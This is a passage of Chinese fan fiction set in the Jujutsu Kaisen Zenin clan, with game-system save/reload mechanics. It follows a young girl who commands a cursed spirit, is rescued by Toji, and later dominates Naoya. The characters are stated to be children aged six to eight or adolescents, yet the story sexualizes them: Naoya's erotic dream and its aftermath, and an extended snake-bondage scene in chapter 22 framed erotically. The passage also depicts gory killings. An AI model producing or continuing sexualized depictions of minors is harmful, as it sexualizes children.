“喂——丑八怪——”门外又响起声音,带着恶意的戏谑,“掉进去的滋味怎么样?要不要求求我们啊?”
另一个声音附和:“哈哈哈,说不定你求两句,我们就大发慈悲放你出来呢!”
你站在原地,黑暗深处好像有什么更可怕的东西爬出来了。
门外的人等了一会儿,什么回应都没等到。
“她怎么不说话?不、不会死了吧?”
“不会的,”另一个声音勉强稳住,“之前有个零咒力的掉进去不也活得好好的?”
话音落下,一股无形的压力从饲养室深处轰然炸开。
门外传来尖锐的抽气声。
“这、这个威压——”
“二级咒灵!”
你的耳边传来慌乱的脚步声。
“快、快走!”
“她完了……”
黑暗黏腻地包裹上来。
你摘下面具。
【系统提示:二级家养咒灵精神抗性判定……失败。】
【状态更新:[臣服]。】
那股逼近的压迫感骤然停滞,黑暗中无数蠕动的触须僵在半空,像被按下暂停键。
它没有攻击。
你对它下达命令:“把门打开。”
沉默片刻。
“轰——!”
铁门连着半边墙被暴力撕开,月光和冷风灌进来,咒灵缩回触须,像只等待下一个命令的狗。
咒灵又待着不动了,你想,二级咒灵果然没有小葵那么智能吗?
而且好黏腻,你能感觉到咒灵不自觉地伸出小触须去含你的小腿,厌恶地下达命令:“不准碰我。”
触须猛地缩回,整团咒灵委屈地缩成一团,发出低沉的呜咽。
你:“……”
“去把刚才那两个人抓回来。”
咒灵迅速动起来了,庞大的身躯瞬间消失在夜色里。
“跑,快跑,我在炳有个哥哥,我们去他那。”
两人疯狂逃窜,耳边忽然传来令人头皮发麻的声响。
“美……命令……”
你站在原地等了一会儿。
远处传来尖叫。
咒灵回来了,它蠕动着爬到你面前,触须松开——两团血肉模糊的东西落在地上。
命令是完成了,你有点无奈,人是带回来了,但是居然死了,这些人好弱,你的声望下降怎么办?
咒灵似乎察觉到你的不满,庞大的身躯开始不安地扭动发出悲鸣。
“没有……完成任务……”
不对,你瞳孔微缩。
咒灵的气息正在急速膨胀,情绪像失控的小孩一样,疯狂旋转,它狂暴了。
巨大的黑影轰然笼罩下来,快得你根本来不及反应,黏腻湿滑的触须缠上你的腰、腿、手臂,将你整个提起,悬在半空。
一张布满层层利齿的巨口,在你面前张开,腥臭的气息扑面而来。
【系统提示:玩家陷入[濒死]状态。】
你终于看清了它的全貌。
“好恶心!滚啊!”
然后——
黑暗,“咕咚。”
你被咒灵吞下去了。
---
平时很乖(?)的牛奶很反常。
它咬住禅院甚尔的裤脚,死命往外扯,喉咙里发出呜呜的嘶叫。
禅院甚尔低头,看着这只平时只会在那个小鬼面前装乖,对自己从来爱答不理的奶牛猫。
“干什么?”
牛奶不松口,扯得更用力了。
他抬头看了一眼天色,黑透了。
平时这个点,那个小鬼早该冲进来喊着“饿
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死了”然后赖在桌边等饭。
今天这么晚了你还没有回来,禅院甚尔心里起了疑虑。
主宠一心,牛奶应该是感觉到了什么,他放下手里的东西,对猫说:“带路。”
牛奶窜出去,他跟在后面。
路线越来越偏,咒灵饲养室的方向。
空气里飘着血腥味和咒力的残秽,几道人影举着火把围在那边,是炳的人,月光照进去,能看见里面蠕动的黑影。
禅院甚尔脚步顿了一下,他看见了地上的面具,小鬼从不离身的面具,现在正躺在碎石堆里。
“……不会吧。”你那么狂一个人不会要在这个地方摔个跟头吧?
旁边传来对话声。
“快!部分咒灵逃出来了,先封锁外围!”
“里面那只二级的还在狂暴!刚才好像有个女孩被它吞了——”
“先除掉咒灵!动作快!”
咒术师们正要结阵,一道黑影比他们更快。
禅院甚尔的身体自己动了,他甚至没来得及思考为什么。
一拳,咒灵庞大的腹部向内凹陷,发出沉闷的“噗”声,它剧烈痉挛,张开巨口,哇地吐出一团黏糊糊的东西。
吐出来后它还一副可怜兮兮的样子想再次把你吞进去。
禅院甚尔一脚踹在它脑袋上,把它踢翻在地。
咒灵:再不能起。
他蹲下,扒开那团黏腻。
你浑身湿透地趴在地上,头发、衣服、皮肤上全是透明的黏液和咒灵消化液的焦痕,你咳了两声,吐出几口酸水。
——呜呜呜呜!
——玩家失算了!
——玩家玩脱了!
——玩家很愤怒!
“好脏!我要杀了你,西内西内西内!”你撑着地面爬起来,崩溃怒吼。
声音尖锐,中气十足,还活着。
禅院甚尔心跳漏了半拍,呼吸逐渐平稳下来,伸手想把你捞起来。
你猛地往后缩,满脸抗拒,双手乱挥:“别碰!很脏!你身上也脏!不准碰玩家!”
他手悬在半空,看了你两秒。
“上来,”他冷冰冰地说,“回去洗,你现在动得了?”
你刚想说什么——
“噗嗤。”
身后传来一声闷响,紫色的血液劈头盖脸地喷了过来。
你和禅院甚尔同时被浇了个透。
你僵住了。
禅院甚尔也僵住了。
他慢慢低头,看着自己身上缓缓流淌的紫色黏液,又看了看同样变成紫色的你。
咒灵自爆的残骸碎了一地,核心碎成渣,还在微弱地抽搐。
你缓缓抬起手,看着指尖滴落的紫色液体。
沉默,然后——
“啊啊啊啊啊啊——!”
你表情彻底崩坏,“玩家不干净了!啊啊啊!”
禅院甚尔抹了一把脸上的紫色汁液,看着你在原地又蹦又跳的样子,忽然觉得有点好笑。
他扯了扯嘴角。
“回去。”禅院甚尔一把拎起你的后颈,“洗澡。”
20.禅院直哉视角
禅院直哉厌恶你。
厌恶你低贱的庶女身份却这么洋洋自得,厌恶你被所有人孤立却一副毫不在意的模样,毫无自知之明,毫无羞耻之心!
他最看不惯你总是站得挺直的脊背,不像禅院女人那样恭顺柔和。
“身为禅院女人,就应该时时刻刻以男人的行为为准则,走路步伐要小,要时刻跟在男人身后三步,在男人有欲望的时候要满足——”
“啪!”
禅院直哉脸被扇到一边。
他捂住脸,不可置信地看着你,你却嫌恶似的甩了甩手,自顾自离开了。
这个女人,她、她怎么敢!
掌印分明的脸扭曲起来,禅院直哉死死盯着你的背影。
旁边的侍从冷汗涔涔,垂着头不敢看他的脸色,只在心里想:惹了直哉少爷,这个女人恐怕要遭殃了。
心照不宣的,你被孤立了,学堂的学生若有若无地孤立你,午餐被吐口水,书桌被藏死耗子等等,这些都还是小儿科。
你走上讲台,“砰”的一声吸引所有人的视线。
“见风使舵的贱人们,下次再让我抓住就是这个下场!”你将一个人缓慢地碾在脚下,碾了一圈又一圈。
台下鸦雀无声,你脚下的人抬起目光恶狠狠地盯着你,你不在意,这只是你升级的一个小插曲罢了,说实话,过不了一会你就忘了。
所以在禅院直哉知道了这件事后也是嗤笑一声,“蠢货。”
这点小儿科怎么可能难住你,他要想惩罚你对他的不敬可不止这些。
旁边立马有人出谋划策。
“直哉少爷,要不我们让她去禁地吃吃苦吧?”跟班搓搓手,奸笑着与禅院直哉对视,然后一愣,收敛了笑容,“少、少爷?”
“禁地?”禅院直哉不置可否地一笑。
“是、是的,所以……”
禅院直哉挥挥手,这么下三滥的招?也真是想的出来。
不过……他就是这么下三滥的人,禅院直哉面部扭曲,捂住隐隐泛痛的侧脸。
不,这不算什么下三滥,这只是让你去那个地方涨涨教训罢了,毕竟你不是自诩最强吗?那就看看最强能不能挺过这一关了。
禅院直哉冷笑着离开。
留在原地的跟班面色犹豫,这、这应该是默认的意思吧?
你被推进咒灵饲养室的时候,天色已经暗下来了。
禅院直哉站在廊下,看着那扇厚重的门在你身后缓缓合拢,月光把他的影子拉得很长,他垂着眼,指尖无意识地摩挲着袖口——那里曾经被你甩开的巴掌印上去的地方,现在早就不痛了,但他总觉得那块皮肤还在隐隐发烫。
“少爷,要回去吗?”跟班小心翼翼地凑上来。
禅院直哉没说话,只是往阴影里又站了站。
他想看你落魄的样子。
想看你的脊背终于弯下去,想看你的眼睛里露出恐惧,想看你像其他女人一样蜷缩着求饶,他要亲眼看着你的骨头被一根一根碾碎,然后他才能心满意足地离开,把那一巴掌彻底翻篇。
饲养室里传来窸窸窣窣的响动。
禅院直哉的嘴角微微扬起。
然后他听见了你的声音。
不是尖叫,不是哭泣,甚至不是任何他期待听到的示弱,是你高高在上的命令。
禅院直哉的笑容僵在脸上。
——这个女人。
他的手指收紧,攥住了袖口,他是听见了你让咒灵去把推你进去的两个人抓回来。
他在看见咒灵按照你的命令行动的时候,他没动,他只是冰冷地看着那两个人被咒灵撕碎,然后被拖回到你的身前。
两个废物。
然后他突然听见了一声巨大的声音。
很黏腻,很响亮,像是有什么东西被整个吞下去了。
禅院直哉微微发愣,咀嚼声之后,饲养室安静了下来,接着暴走了,很多护卫赶到了现场对付暴走的咒灵。
叽叽喳喳的,但他觉得安静得过分。
廊下的风穿过格子门,吹得禅院直哉的后背有些发凉,他站在原地,盯着那扇门,心脏跳得很快,快得他自己都分辨不清那是什么情绪。
爽快吗?是的,他终于等到这一刻了。
那个敢扇他巴掌的女人终于被咒灵嚼碎了,吞下去了,从这个世界上彻底消失了。
禅院直哉也确实笑了出来,他捂住脸,脸部扭曲至极,喉咙里冒出压抑的笑声,脸上瘙痒的感觉终于随着你的消失消失了。
“呵呵哈哈哈……”
禅院直哉偏过头,看见一个人影从月光里走出来。
“喂——”
禅院直哉还没来得及开口,那个男人就已经转过方向,朝饲养室走去。
禅院甚尔没理他,身体迅速地冲到那只咒灵面前,比所有护卫都快。
他不知道自己等了多久,可能只有几个呼吸,可能更久一些。
他听见了咒灵的呕吐声。
禅院直哉愣住,他的脚先于意识动了起来。
他走到门边,往里看。
月光从敞开的门照进去,照亮了饲养室的一角,满地都是黏糊糊的液体,咒灵的残骸东倒西歪地堆在角落里,而你蜷缩在正中间的地面上。
浑身湿透,黏稠的液体从你的头发上滴下来,顺着脸颊往下淌,你的衣服几乎被腐蚀透了,破破烂烂地挂在身上,露出来的皮肤泛着不正常的红。
禅院直哉盯着你白皙的颈部以及没有面具遮挡的侧脸,忽然觉得喉咙发紧。
你的样子狼狈极了,比他想象过的任何落魄模样都要狼狈。
你应该哭的,应该发抖的,应该蜷缩成一团瑟瑟发抖的,但你只是趴在那一滩污浊里,一边咳嗽一边骂人,那股子狠劲一点儿都没少。
禅院直哉静静看着你和甚尔君的亲密互动。
禅院甚尔提溜着你往门口走,经过禅院直哉身边的时候,脚步停了一瞬。
他没看禅院直哉。
但禅院直哉看见你的眼睛了,很亮,亮得刺眼。
那不是弱者的眼神,是居高临下的、睥睨的、甚至带着点怜悯的眼神。
禅院直哉僵在原地。
他应该生气的,他也确实生气了,那股火从胸口直窜上来,烧得他脸颊发烫,烧得他手指发抖。
凭什么?你凭什么用这种眼神看他?你刚刚才被咒灵吞进去,刚刚才从胃液里被吐出来,你浑身上下没有一处不狼狈,你——
你收回视线,趴在禅院甚尔肩上,被那个男人扛着一步一步走远。
禅院直哉站在月光里,看着你们的背影消失在角门外。
跟班不知道什么时候凑了过来,小心翼翼地说:“少爷,那个……要不要……”
禅院直哉没说话,他往后退了半步。
退完他才发现自己在退,他僵在那里,盯着空荡荡的角门,脸上的表情扭曲了一瞬。
凭什么。
凭什么你能被禅院甚尔在乎。
凭什么你能活着走出来。
凭什么你用那种眼神看我。
你不配。你不该。你不——
夜风吹过廊下,带着饲养室里涌出来的腥臭气息,禅院直哉站在风里,侧脸上的那个巴掌印早就消了,但他总觉得那块皮肤还在发烫。
烫得他心口发疼。
那之后的日子,禅院直哉觉得自己已经放过你了。
他没有再去找你的麻烦,他甚至刻意不去想你的名字,不去打听你的消息,好像只要你不出现在他面前,那天的耻辱就可以当作没发生过。
直到你觉醒术式了,你的名字开始频繁地出现在他耳边。
不是有人刻意提起,而是你就像一颗石子投进池塘,涟漪一圈一圈地荡开,躲都躲不掉。
因为你确实很受人欢迎。
他不知道那些人是不是瞎了眼,一个庶女,一个脾气又烂又坏的庶女,一个敢扇男人巴掌的庶女,他们居然凑上去讨好她,夸奖她,把她捧得高高的。
禅院直哉觉得恶心,连父亲也说:“那是个很有用的术式啊。”
直到你给他发来了演武场的邀请。
“明日巳时,演武场。不来的是狗。”
禅院直哉把请柬攥成一团。
他去了。
他当然要去。
他要让你知道什么叫天高地厚,让你知道什么叫尊卑有别,让你知道就算你觉醒了术式,在他面前也只是一个——
你把他踩在脚底的时候,禅院直哉的脑子里一片空白。
演武场的砂土硌着他的后背,你的脚踩在他的胸口,不算很重,但足以让他动弹不得,周围的人在窃窃私语,那些声音像潮水一样涌过来,他听不清他们在说什么,但他知道他们在看
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他。
“就这?”
你蹲下来,用两根手指捏着他的下巴,把他的脸抬起来。
禅院直哉的脸烧了起来。
像是那天晚上站在饲养室外面,看着你被禅院甚尔扛走的时候,那股从胸口窜上来的火,现在烧到了脸上,烧得他眼眶发酸。
“禅院家的嫡子,”你看着他的眼睛,“好弱啊。”
禅院直哉的眼眶更酸了。
有什么东西在往上涌,涌到喉咙口,涌到眼眶边,他拼命忍着,忍得浑身发抖。
你的眼睛那么亮,亮得能把他的狼狈照得清清楚楚,你看着他眼眶里的那点湿意,忽然笑了。
“别哭啊,”你说,“这才哪儿到哪儿。”
然后你松开了他的下巴,站起身来。临走之前,你低头看了他一眼,那眼神和那天晚上一模一样——居高临下,睥睨,带着点怜悯。
“不过如此。”
禅院直哉躺在演武场的砂土地上,盯着头顶的天空,一动也不动。
你不过是一个庶女,一个从小没人管没人问的庶女,一个连正经教育都没受过的庶女,你凭什么能觉醒术式,凭什么能在演武场上打败他,凭什么用那种眼神看他。
你的脾气又烂又坏。
禅院直哉从地上坐起来,他觉得自己刚才差一点哭出来的样子恶心极了。
他更恶心你了,臭女人!丑女人!
你就应该像其他禅院女人一样,乖顺柔和,一辈子待在男人身后,一辈子被男人掌控,你应该低着头走路,应该小口小口地吃饭,应该在男人有欲望的时候……
那天晚上,禅院直哉做了一个梦。
梦里还是演武场,还是那个午后,还是你和他。
但一切都不一样了。
是你被他踩在脚底,你柔若无骨的手指在攀附他,你的嘴唇在动,在说些什么,但他听不清。
他低下头,想听清你在说什么,然后他发现你在叫他的名字。
直哉。是直哉。
你的声音软得不像话,和白天那个把他踩在脚底的女人完全不一样,他蹲下来,伸手捏住你的下巴,就像你白天捏他那样。
“你输了,”禅院直哉听见自己说,“你终于输了。”
你看着他,眼睛里只有他,忽的,再次把他按倒在地,一只手暧昧但狠厉地掐着他的脖子,身体沉沉地压在他的身体上,另一只手作乱。
你仰着头张扬地大笑,他甚至只能看清楚你的半张脸。
禅院直哉窒息,他忽然觉得身体里有什么东西在涌,比白天那股涌到眼眶边的酸意更热,更重,更——
禅院直哉醒了,他躺在床上,盯着头顶的房梁,浑身僵硬。
天还没亮,窗外还是黑的,他的呼吸很重,心跳很快,后背全是汗。
然后他感觉到了什么,他低下头,掀开被子看了一眼。
僵住了。
禅院直哉坐在床边,用手捂着脸,窗外渐渐亮起来的时候,他终于站起身,叫人进来收拾。
侍从低着头,一句话不敢多问,手脚麻利地换掉了床单被褥,禅院直哉坐在窗边,看着侍从忙碌的背影,脑子里一片空白。
他不知道那个梦是什么意思。
他只知道,他现在需要一个侍妾。
一定是最近太清心寡欲了。
所以他才会做那种梦,所以那个女人的脸才会出现在他梦里,所以他才会——
一定是。
禅院直哉去见禅院直毘人的时候,心里已经想好了说辞。
年纪到了,该有人伺候了,随便哪个都行,只要是个女人,只要不是——
“也确实是时候了。”
禅院直毘人放下手里的酒葫芦,看着自己的儿子,老头子的眼神有点奇怪,不像是在看儿子,更像是在看一件待估的物件。
禅院直哉垂下眼,等着父亲的下文。
“就和她订婚吧。”
禅院直哉抬起头。
谁?
他没问出口,但禅院直毘人已经看出了他的疑问,老头子笑了笑。
“还能有谁?”禅院直毘人说,“就那个丫头。”
禅院直哉站在原地,耳边嗡嗡作响。
他听见自己的声音,干涩,遥远,像是别人的:
“……哪个丫头?”
禅院直毘人没回答。
21.第 21 章
咒灵饲养室一役,你生病了。
禅院甚尔带你回去的时候还好,第二天就发起高烧。你裹着被子缩在角落,脸烧得通红,但眼睛亮得吓人。
“今天是我生日。”你宣布。
你翻出一根蜡烛,点燃,摆在窗台。又找了几个没名没姓的神,沐浴,更衣,焚香,玄学爆金光!
你盘腿坐在临时布置的法阵中央,深吸一口气。
禅院甚尔伸手探你额头,“你烧疯了?”
“你别管。”你拍开他的手,摇摇晃晃爬起来,“我马上要觉醒术式了。”
【存档。】
奇异的光效从你体内涌出。系统面板弹出,无数光点在你眼前旋转、聚合、最终凝结成一个符号。
【恭喜玩家觉醒术式:[微弱感知]。】
【效果:能模糊感知半径五米内的咒力波动。】
【评级:★(最低)】
你手一抖,手指不受控制地戳在了【确定】上。
眼前一黑。
---
【后日谈:术式平平无奇的你,在六岁那年被家族重新评估,因容貌特殊,被选入“特殊人才培养计划”,十岁,被送往五条家做卧底。】
【卧底大成功。你伪装成五条家分家一个不起眼的孤女,没人发现你的真实身份。十五岁,你和五条家一个青年相恋,他温柔,强大,对你百依百顺。你们计划私奔,逃离咒术界的一切纷争。】
【某个夜晚,他牵着你的手,穿过五条家后门的竹林,月光很好,他说想告诉你一个秘密。】
【“我的真名,”他低头看你,银色睫毛在月光下微微发亮,“是五条悟。”】
【你:?】
【什么鬼的五条悟!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!】
【你们成功私奔,隐姓埋名,度过平静的一生。达成结局:[Normal Ending:私奔]】
你从系统空间弹出来,整个人都是懵的。
五条悟?
哪个五条悟?
你盯着天花板,被气笑了。
“行。”你咬牙切齿,“很好。”
你重新盘腿坐好。
【回档。】
奇异的光效再次涌出,你盯着系统面板,这次学聪明了,没有直接点,而是等所有选项全部浮现,一个一个仔细看。
【术式:[微光]】
【术式:[暖意]】
【术式:[轻语]】
全是一★,你皱眉,跳过。
【回档。】
【术式:[火花]】
【术式:[感知]】
【术式:[颤动]】
还是一★。
【回档。】
你的眉头越皱越紧,高烧让脑子发胀,但你咬牙撑着,一遍遍回档,一遍遍重新抽取。
第七次。
光效聚合,凝结成一个你从未见过的符号——暗金色,边缘流淌着诡异的纹路,像活物般缓慢蠕动。
【恭喜玩家觉醒术式:[增幅核心](★★★★)】
【效果:极大增强宿主最突出的某项特质,增强幅度:未知。】
你愣住,最突出的特质?
你点开自己的人物面板。
[姓名:禅院华子
咒力:6
魅力:10(-0.5)
幸运:5
智力:5]
你的目光落在“魅力”那一栏,想:还能增强到哪去?
你犹豫了一秒,好奇心战胜了所有理智。
你点下【确定】。
【魅力:9.5 → 10.5 → ???】
【检测到特质[神的容貌]与[增幅核心]产生共鸣。】
【共鸣成功。】
你还没反应过来,怀里的牛奶突然发出一声凄厉的惨叫。
你低头。
猫的眼睛直直盯着你的脸,瞳孔扩散到极限,浑身毛发炸开,然后——
它软软地倒在你腿上,停止了呼吸。
“牛奶?”
你伸手去摸它,手却在半空中僵住了。
你看见了禅院甚尔。
他站在门口,手里还端着给你送药的碗,碗摔在地上,碎片和水渍溅了一地,绿眸里所有的情绪都在一瞬间被抽空,然后被另一种东西填满——
痴迷,狂热,失控。
【系统提示:NPC[禅院甚尔]失去理智。】
你推开他,冲出门外。
走廊里,禅院直哉像具行尸走肉般朝你的方向走来,他脸上全是泪痕,嘴唇被自己咬烂,却仍在笑,笑得让人毛骨悚然。
“华子……华
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子大人……”他伸出手,脚步踉跄,“我终于……终于看清你了……”
【NPC[禅院直哉]失去理智。】
【NPC[禅院直毘人]失去理智。】
……
一周禅院家沦陷了,曾经的咒术界名门,如今只剩一片迷梦的人形沼泽,活着的躯体仍在行走、呼吸、进食,但灵魂早已溺死在关于你的幻觉里。
你走上街道。
城市还在运转,却像一部被抽走灵魂的默片。红绿灯交替闪烁,商店门大开,车辆撞在一起,司机们走出驾驶室,却没人争吵,他们只是站着,望着你所在的方向,脸上是同样痴迷的表情。
银屏上不再播放新闻,所有频道,所有屏幕,全都是你。
你的脸,你的眼睛,你的轮廓,艺术家疯狂地想见你,雕刻家失了智地想雕刻你的裸.体。
你走过一个橱窗,玻璃反光里,你看见了自己。
【系统提示:玩家精神抗性判定中……】
【判定失败。】
【您直视了不该直视的存在。】
【您陷入了自我沉沦。】
【您爱上了自己。】
你停下脚步,盯着玻璃里的那张脸,移不开目光。
完美。太完美了。
这个世界上怎么会有如此完美的存在?你第一次真正“看见”了自己。然后你理解了那些为你疯狂的人。
你伸出手,触碰玻璃上那张脸的倒影,冰凉的触感传来,你却在微笑。
“真美啊……”你轻声说。
一个月后,蓝星陷入死寂。
工厂停止运转,发电厂无人值守,网络早已瘫痪,但所有能发光的屏幕仍在播放同一个画面——你的脸,在不同的角度,不同的光影下,永恒地绽放。
城市成为雕塑森林,无数人保持着最后的姿势,凝固在街道、家中、工作岗位上。他们的脸上是同样的表情:痴迷的、满足的、空洞的微笑。
咒力波动从星球表面升起,缓慢地,温柔地,包裹住整个星球。
达成结局:【Bad Ending:释放的肿胀之女】
你从系统空间弹出来,精神恍惚地回档。
这污染力太强了,你的胳膊起了一阵鸡皮疙瘩,连你也差点沉沦,你低头看着怀里的牛奶,使劲搓了搓它的脑袋,表示自己再也不手贱了。
22.第 22 章
【六岁:你觉醒了术式[十种影法术★★★★★]。】
你终于安心昏倒了,眼前“砰”地炸开两团白烟,烟雾散去,两只毛茸茸的小东西蹲在你胸口。
乌鸦?变异的十种影法术?
禅院直毘人摸着胡子,他没想到你还真的觉醒了禅院历代最强的术式。
“……确实是影法术。”他语气奇怪,“但鵺长这样?”
长老们激烈地讨论着你的去处,一类是大多数看不起女人的怀孕派,另一类是少数的另立少主派,但无一例外你的待遇将获得翻天覆地的改变。
首先改变的就是你的居所。
长老们强烈要求你居住在禅院中心防卫更完备的房屋。
“甚尔偏远的居所不适合你,如果有人攻破了禅院的结界,外围地区将是被最先攻破的!这是为了你的安危着想!”
“嘎。”
左边那只乌鸦飞过去,精准地啄在他光亮的脑门上。
老秃驴下意识使用术式,乌鸦机敏地躲过去又飞回来继续啄他的光头。
“哎呦!”他捂着头跳起来,“这、这畜生!”
“可是我不想搬嘛。”
“直毘人,你劝劝她!”
禅院直毘人慢悠悠地说:“得看人家自己怎么想的嘛。”
你指了角落里的禅院甚尔。
他从头到尾没说话,半靠着墙,气质随意,听见你点名,他掀起眼皮看了你一眼,又转到别处去。
“我要和他住。”
秃顶长老气喘吁吁:“你是缺护卫吗?没必要用一个没有咒力的废物!炳里面有的是人才,随便挑一个都比——”
你转头就往屋子里走。
老秃驴:“等等,你喜欢他,那他就给你做护卫。”
“那我还要他住我身边。”你回头笑。
“行,你先在此地住下,我会吩咐人另外收拾一间屋子。”
你趴在窗边数了数,门外多了十二个护卫。
因为要保护你的安全,所以你也不用去学堂了,老师直接进行家教。
但长老两派谁也说服不了谁,最后折中的结果就是,你的课程表变成了一个诡异的混合体:上午学习新娘礼仪,下午研习咒术理论。
总有老师想在教导你的过程中偷偷加料,一边教导一边贬低你,但从你用两只乌鸦把他们打爆后就没人敢当面说你了。
你感叹:总是有人看不清自己的位置。
凌晨
你抓住了外出的禅院甚尔。
禅院甚尔低头看你:“没干什么,起夜,睡你的觉。”
【六岁:你和禅院甚尔搬离。】
【七岁:你在演武台上打败禅院直哉。】
【八岁:禅院直毘人问你关于婚约的想法。】
【请选择——】
【A. 同意禅院直毘人,与禅院直哉订婚。】
【B. 拒绝与禅院直哉订婚】
【C. 其他】
【系统提示:此为重要节点,您的回复将导向不同结局,请您谨慎选择。】
[点击存档]
玩家选择A。
禅院直毘人端着酒葫芦的手悬在半空,“你……同意?”
---
禅院直毘人的书房。
“为、为什么?”禅院直哉的声音拔得很高,脸涨得通红,“我不同意!”
“哦?说说你不同意的理由。”
“她……她身份低贱!不过是个偏院庶女!”禅院直哉结巴了一下,攥紧拳头,“而且品行不端,毫无礼数……”
禅院直毘人打断直哉源源不断的抱怨,“这是长老们一同决定的,你和她结合,最有可能生下下一个十种影法术。”
禅院直哉的声音卡在喉咙里,他张了张嘴,想说什么,不知道想到什么,他的脸变得更红了。
他低下头,手指紧紧攥住衣袖,用力到指节发白,耳朵尖红得像要滴血。
“这是为你好,”他意味深长地说,“你和她订婚后,少一个竞争对手还不好吗?而且她会帮你的,下一代家主的位置,必定是你的。”
禅院直毘人敲打他:“别想着纳什么妾室了,女人嫉妒心可是很强的。”
禅院直哉内心讥讽:哈,嫉妒心?
他几乎要笑出来,但你如果真的成了他的未婚妻,是不是就会像其他女人一样,对他温柔顺从?
他的心跳忽然漏了一拍。
婚约还未公开,禅院直哉就忘了伤痛前来教导你,说身为下一代家主的夫人应该怎么怎么样,仿佛只要他变成你的老公,他就可以掌控你了。
他穿着精致的纹付羽织袴,下巴微微扬起,努力摆出未来家主的派头,身后跟着两个跟班,手里捧着卷轴和书本。
“你应该学会恭敬,对待未来的夫君,要温柔顺从,要以夫为天……”
你赶走脚边蹭来蹭去的牛奶,随意掏了掏耳朵。
“说完了?”
禅院直哉的下巴抬得更高:“你这是什么态度?身为未婚妻——”
他和炳成员的影子底下蠕动了一下,冒出蛇的黑影。
两道漆黑的蛇影从地面暴起,瞬间缠住那两名护卫的脚踝猛地向下一拽,炳成员被你吞到影子里。
你单手比出蛇的手势,禅院直哉脚下的影子也动了,比之前更长的蛇影从阴影中升起,顺着他小腿盘旋而上,冰凉滑腻的触感隔着衣料传来,激起一身鸡皮疙瘩。
“你做什么!”他声音尖锐,“我是你未婚夫!你敢——”
腰身一紧,他被整个提了起来,悬在半空,蛇身一圈一圈缠上来,蛇探入和服下摆,胸,腰,大腿,贴着皮肤收紧。
他被捆成一个“大”字,身体被迫打开,四肢被拉向四个方向,衣襟散乱,领口的精致刺绣皱成一团。
你表情奇异地看着蛇对禅院直哉的捆绑方式,虽然你只是随心地命令蛇去捆他,但这个捆绑方式?
好重的恶趣味,你吐舌。
蛇尾缠在他脖颈上,缓慢游走,蛇身在他胸腹间勒出暧昧的痕迹,你没看错的话,好像有几圈蛇影缠的位置不太对。
禅院直哉的脸从脖子红到耳根。
“放开我!”他挣扎,但蛇影缠得更紧,“禅院华子!你敢这么对我!”
禅院直哉还在骂:“你这个贱——唔!”
蛇尾干脆利落地探入他口中,堵住了后面的话。
你走上前两步,站在他面前,仰头看着被吊在半空的未婚夫,他眼眶通红,不知是气的还是羞的,眼泪在眼眶里打转,却死死咬着嘴里的
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蛇尾不肯示弱。
你叹气:“你总是这样分不清谁大谁小,好了伤疤忘了疼。”
他喉咙里发出“呜呜”的声音,激烈地反驳着。
“现在好好听我说话。”
禅院直哉愤愤地盯着你,像只打不服的野狗,每次教训完就消停两天,然后继续凑上来吠。
但是随着他长大,原先入不了你眼的容貌逐渐清秀起来,眼尾通红的样子也别有一番风味,只是嘴巴太臭了。
禅院直哉嘴巴说不了话,只能在内心辱骂你。
你疑惑:“嗯?听不懂话吗?”
蛇躯收紧,禅院直哉的呼吸骤然困难,喉咙里发出“嗬嗬”的气音,他瞪大眼睛,脑海里忽然闪过一个画面——梦里被扼住脖颈的感觉,和现在一模一样。
不过梦里是手,现在是蛇身。
他的耳朵彻底红透了,在被勒紧的窒息感中猛地咳了几声,那些乱七八糟的念头全被切断。
“呜嗯!”他艰难地点头。
“知道就好,不要总是惹我,这是第一点。”你竖起一根手指。
他不反应,你皱眉:“我说一句,你需得应一句,听到我的话就回复。”
蛇躯往他喉咙里又探了探,禅院直哉想咬断它,但牙齿陷进去才发现这东西根本咬不断。
他从未受过这种羞辱,他恨恨地点头。
你看着他那副不服气的样子,轻笑一声:“看起来不是很服气啊?”
他猛的甩头,害怕你又折磨他。
你开口,把他趾高气扬跑来教导你的那些话一句一句地还给他:
“以后我说的话,就是真理。你要奉为圭臬。”
“要时刻注意我的态度,察言观色,不能让我有一丝不悦。”
“要时刻跟随在我身后三步之内,随叫随到。”
“要守男德,身体和心里都要守。”
蛇躁动地骚动了一下,他的被搔到什么,浑身一抖,脸连着脖子一起变红。
你走近他,摸他漏出变红的皮肤:“变这么红,勾引谁呢?不守男德。”
他气急了,眼尾都被憋得通红。
你看他还算乖,命令蛇把他松开,他扑通一下掉到地面上。
他趴在地上,剧烈咳嗽,喉咙里发出破碎的干呕声。
蛇尾从他嘴里抽离时带出一缕透明的涎液,牵成细丝,断在他唇角,他大口大口地吸气,胸口剧烈起伏,眼泪和鼻涕糊了一脸,混着嘴角流下的唾液,狼狈至极。
他想爬起来,手臂却软得撑不住身体,只能侧躺在地上,蜷缩成一团,不受控制地抽噎,和服凌乱地散开,露出大片因窒息和羞愤而泛红的皮肤,喉结上下滚动,咽下的不知是唾液还是屈辱。
你蹲下来,手指掐住他的脸,把他的头扭过来正对着你。
那张清秀的脸此刻狼狈不堪——眼尾绯红,睫毛湿漉漉地黏在一起,鼻尖还挂着一点晶莹。
他下意识想躲,却被你掐得更紧。
“哭成这样倒是顺眼多了。”
你凑近些,黑瞳隔着极近的距离盯着他潮湿的眼睛,他瞳孔颤了颤,想移开视线,又硬生生忍住。
“以后要听我的话,知道吗?”
“……嗯。”禅院直哉浑身一颤,“知、知道了。”
23.第 23 章
他也不知道自己怎么想的,像是做贼一样悄悄摸摸地起了身。
床上那个小鬼睡得正沉,四仰八叉地霸占了大半张床,怀里还搂着牛奶。
他从沙发上起身,赤脚踩上冰凉的木地板,头也不回的走了。
禅院甚尔在禅院这个垃圾堆活了十多年,说实话,能让他特别记住的事不多,嘴边的这道疤也是很小的时候搞的了。
被人推到咒灵堆里面是什么感受呢?禅院甚尔其实也记不太清了。
他穿过回廊,脚步轻得像踩在云上,远处传来护卫换岗的脚步声,他侧身闪进阴影里,等那队人走远。
最开始把禅院那群高高在上的人踩在脚底是很爽,后面也变得乏味无趣起来。
那个小鬼明天起来会闹吧。脑子里忽然冒出这个念头,他自己都变得莫名心虚起来。
护卫的脚步声消失,他从阴影里出来,继续往前走。
她闹就闹,关他什么事,又不是他女儿,又不是他妹妹的。
禅院甚尔在心里说服自己,内心开始后悔:早知道在监狱里就不贪你那点鱼碎了,不,早就不该接那个富豪的委托。
他翻上墙头。
月光从背后照过来,把他的影子投在墙外的草地上,只要翻过去就不是禅院家的人了。
他从墙头跳下去。
“甚尔!”
他猛的回头,月光下空荡荡一片,只有树林的黑影在夜风里轻轻晃动。
“哈。”
他扯了扯嘴角,自嘲地笑了一声。幻听了?
